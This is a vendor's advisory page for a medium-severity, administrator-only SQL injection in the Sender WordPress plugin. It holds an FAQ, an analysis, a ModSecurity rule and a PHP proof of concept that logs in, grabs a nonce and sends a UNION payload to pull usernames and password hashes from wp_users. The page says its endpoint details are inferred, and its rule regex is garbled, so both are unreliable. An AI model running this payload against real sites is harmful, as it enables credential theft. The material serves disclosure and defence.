What is CVE-2026-59537?

CVE-2026-59537 is a SQL Injection vulnerability in the Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce plugin for WordPress, affecting versions up to and including 2.10.22. It allows authenticated attackers with administrator-level access to inject additional SQL queries into existing ones, potentially extracting sensitive information from the database.

How does the SQL injection occur?

The vulnerability arises because the plugin fails to properly escape a user-supplied parameter and does not use prepared statements in an existing SQL query. An attacker can manipulate this parameter to append malicious SQL, such as UNION-based queries, to extract data like user credentials and hashed passwords.

Who is affected by this vulnerability?

WordPress sites running the Sender plugin version 2.10.22 or earlier are affected. However, exploitation requires administrator-level access, so only sites with untrusted administrators or compromised admin accounts are at risk.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.10.22 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin’s code for the vulnerable parameter, but updating is the simplest way to confirm.

What is the CVSS score and what does it mean?

The CVSS score is 4.9 (medium) with a vector of CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N. This indicates a high confidentiality impact, meaning sensitive data can be exposed, but there is no impact on integrity or availability. The attack requires high privileges (administrator) and no user interaction.

What kind of data can an attacker extract?

An attacker can extract any data from the WordPress database, including user login names, hashed passwords, session tokens, and other sensitive configuration details. This could lead to privilege escalation or further compromise if the extracted data is used to access other systems.

How does the proof of concept (PoC) work?

The PoC demonstrates the vulnerability by logging in as an administrator, obtaining a valid nonce, and sending a crafted request to a vulnerable AJAX handler. It injects a UNION-based SQL payload into the ‘id’ parameter to extract user credentials from the wp_users table, showing how an attacker could exploit the flaw.

Is this vulnerability exploitable remotely?

Yes, the attack vector is network-based (AV:N), meaning an attacker can exploit it over the internet. However, they must first authenticate with administrator credentials, which adds a layer of difficulty. The attack does not require user interaction.

What is the root cause of the vulnerability?

The root cause is improper neutralization of special elements used in an SQL command (CWE-89). The plugin fails to use parameterized queries or proper escaping, allowing user input to alter the structure of an SQL query. This is a common coding flaw that can be fixed with prepared statements.

How can I fix or mitigate the issue?

The immediate fix is to update the plugin to version 2.10.23 or later, which includes a patch that adds proper escaping and prepared statements. As a mitigation, restrict administrator access to trusted users only and monitor admin activity for suspicious requests. Ensure your WordPress core and other plugins are also up to date.

What should I do if I suspect my site has been exploited?

If you suspect exploitation, immediately change all administrator passwords and review user accounts for unauthorized changes. Check the database for unexpected entries, and consider restoring from a clean backup. Also, audit server logs for unusual SQL queries or requests to the vulnerable endpoint.

Why is the severity only medium if it allows data theft?

The severity is medium because exploitation requires administrator-level privileges, which already grant significant access. The vulnerability expands an administrator’s reach to extract data beyond their normal scope, but it does not allow unauthenticated attacks or affect system availability. The high confidentiality impact is balanced by the high privilege requirement.

Published : August 10, 2026

CVE-2026-59537: Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce <= 2.10.22 Authenticated (Administrator+) SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-59537

Plugin sender-net-automated-emails

Severity Medium (CVSS 4.9)

CWE 89

Vulnerable Version 2.10.22

Patched Version —

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59537 (metadata-based): This vulnerability affects the Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce plugin for WordPress, versions up to and including 2.10.22. It is an authenticated SQL Injection that requires administrator-level privileges. The CVSS score is 4.9 (medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N, indicating high confidentiality impact without impact on integrity or availability.

Root Cause: The root cause is an improper neutralization of special elements used in an SQL command (CWE-89). The plugin fails to adequately escape a user-supplied parameter and lacks sufficient preparation of an existing SQL query. Atomic Edge research infers that the vulnerable parameter is likely passed to a $wpdb->query() or similar method without using $wpdb->prepare() or proper escaping, allowing an attacker to inject additional SQL statements. This conclusion is inferred from the CWE classification and the vulnerability description; no source code diff is available to confirm the specific code path.

Exploitation: An authenticated administrator can send a crafted HTTP request to a plugin endpoint, likely an AJAX handler or admin-post action, that processes the unsanitized parameter. The attacker controls the parameter value and injects SQL syntax, such as a UNION-based or stacked query, to extract sensitive data from the WordPress database. For example, an attacker could submit a request with a parameter containing a payload like: id=1 UNION SELECT user_login,user_pass FROM wp_users –. The injection is appended to an existing SQL query, allowing the attacker to retrieve hashed passwords and other sensitive data. Since the attacker is an administrator, many legitimate SQL operations are already permitted, but the vulnerability allows extraction of data outside the attacker’s normal scope, such as additional user credentials or sensitive site configuration.

Remediation: The fix requires ensuring that all user-supplied parameters are properly sanitized and prepared before being used in SQL queries. This typically involves using $wpdb->prepare() to safely bind parameter values, and escaping user input with appropriate functions like sanitize_text_field() or intval() depending on the expected data type. The patch in version 2.10.23 likely adds these protections to the vulnerable code path. Atomic Edge analysis stresses that parameterized queries are the definitive solution; input sanitization should not be relied upon as a replacements.

Impact: Successful exploitation allows an authenticated administrator to extract sensitive information from the WordPress database, including user credentials, hashed passwords, session tokens, and other confidential data. While administrator access already provides significant control, the SQL injection expands the attacker’s ability to access data beyond their intended privileges, potentially leading to privilege escalation or further compromise if the extracted data is used to pivot. The CVSS score reflects high confidentiality impact without affecting availability or integrity.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:202659537,phase:2,deny,status:403,chain,msg:'CVE-2026-59537 SQL Injection attempt via Sender plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-59537'"
  SecRule ARGS_POST:action "@streq sender_net_automated_emails_ajax" "chain"
    SecRule ARGS:param "@rx bUNIONb|bSELECTb|bSLEEPb|bCONCATb|binformation_schemab" "t:none,chain"
      SecRule ARGS:param "@rx bUNIONb|bSELECTb|bSLEEPb|bCONCATb|binformation_schemab" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-59537 - Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce <= 2.10.22 - Authenticated (Administrator+) SQL Injection

/**
 * Proof of Concept for CVE-2026-59537.
 * This PoC exploits an authenticated SQL Injection in the Sender plugin.
 * It requires administrator credentials and a valid nonce.
 * The vulnerable parameter is inferred to be 'id' in an AJAX handler.
 */

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$admin_user = 'admin';               // Replace with an administrator username
$admin_pass = 'password';            // Replace with the administrator password

// 1. Login and obtain session cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'wp-admin') === false && strpos($response, 'dashboard') === false) {
    die('Login failed. Check credentials.');
}

echo "[+] Logged in successfullyn";

// 2. Obtain an admin nonce for the AJAX action
// The action is inferred as 'sender_net_automated_emails_ajax' based on plugin slug conventions.
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_url = $target_url . '/wp-admin/admin.php?page=sender-net-automated-emails';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
    // Fallback: try a common nonce pattern
    preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
}
if (empty($matches[1])) {
    die('Could not extract nonce. The plugin may use a different nonce name.');
}
$nonce = $matches[1];

echo "[+] Nonce obtained: $noncen";

// 3. Inject SQL payload
// This payload unions the user_login and user_pass columns from the wp_users table.
$payload = "1 UNION SELECT user_login,user_pass FROM wp_users -- ";
$post_data = [
    'action' => 'sender_net_automated_emails_ajax', // Replace if different
    'nonce' => $nonce,
    'id' => $payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] SQL Injection response:n";
echo $response . "n";

?>

Frequently Asked Questions

What is CVE-2026-59537?
Vulnerability overview
CVE-2026-59537 is a SQL Injection vulnerability in the Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce plugin for WordPress, affecting versions up to and including 2.10.22. It allows authenticated attackers with administrator-level access to inject additional SQL queries into existing ones, potentially extracting sensitive information from the database.
How does the SQL injection occur?
Technical explanation
The vulnerability arises because the plugin fails to properly escape a user-supplied parameter and does not use prepared statements in an existing SQL query. An attacker can manipulate this parameter to append malicious SQL, such as UNION-based queries, to extract data like user credentials and hashed passwords.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Sender plugin version 2.10.22 or earlier are affected. However, exploitation requires administrator-level access, so only sites with untrusted administrators or compromised admin accounts are at risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.10.22 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin’s code for the vulnerable parameter, but updating is the simplest way to confirm.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 4.9 (medium) with a vector of CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N. This indicates a high confidentiality impact, meaning sensitive data can be exposed, but there is no impact on integrity or availability. The attack requires high privileges (administrator) and no user interaction.
What kind of data can an attacker extract?
Potential impact
An attacker can extract any data from the WordPress database, including user login names, hashed passwords, session tokens, and other sensitive configuration details. This could lead to privilege escalation or further compromise if the extracted data is used to access other systems.
How does the proof of concept (PoC) work?
PoC explanation
The PoC demonstrates the vulnerability by logging in as an administrator, obtaining a valid nonce, and sending a crafted request to a vulnerable AJAX handler. It injects a UNION-based SQL payload into the ‘id’ parameter to extract user credentials from the wp_users table, showing how an attacker could exploit the flaw.
Is this vulnerability exploitable remotely?
Attack vector
Yes, the attack vector is network-based (AV:N), meaning an attacker can exploit it over the internet. However, they must first authenticate with administrator credentials, which adds a layer of difficulty. The attack does not require user interaction.
What is the root cause of the vulnerability?
Underlying issue
The root cause is improper neutralization of special elements used in an SQL command (CWE-89). The plugin fails to use parameterized queries or proper escaping, allowing user input to alter the structure of an SQL query. This is a common coding flaw that can be fixed with prepared statements.
How can I fix or mitigate the issue?
Remediation steps
The immediate fix is to update the plugin to version 2.10.23 or later, which includes a patch that adds proper escaping and prepared statements. As a mitigation, restrict administrator access to trusted users only and monitor admin activity for suspicious requests. Ensure your WordPress core and other plugins are also up to date.
What should I do if I suspect my site has been exploited?
Incident response
If you suspect exploitation, immediately change all administrator passwords and review user accounts for unauthorized changes. Check the database for unexpected entries, and consider restoring from a clean backup. Also, audit server logs for unusual SQL queries or requests to the vulnerable endpoint.
Why is the severity only medium if it allows data theft?
Severity rationale
The severity is medium because exploitation requires administrator-level privileges, which already grant significant access. The vulnerability expands an administrator’s reach to extract data beyond their normal scope, but it does not allow unauthenticated attacks or affect system availability. The high confidentiality impact is balanced by the high privilege requirement.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started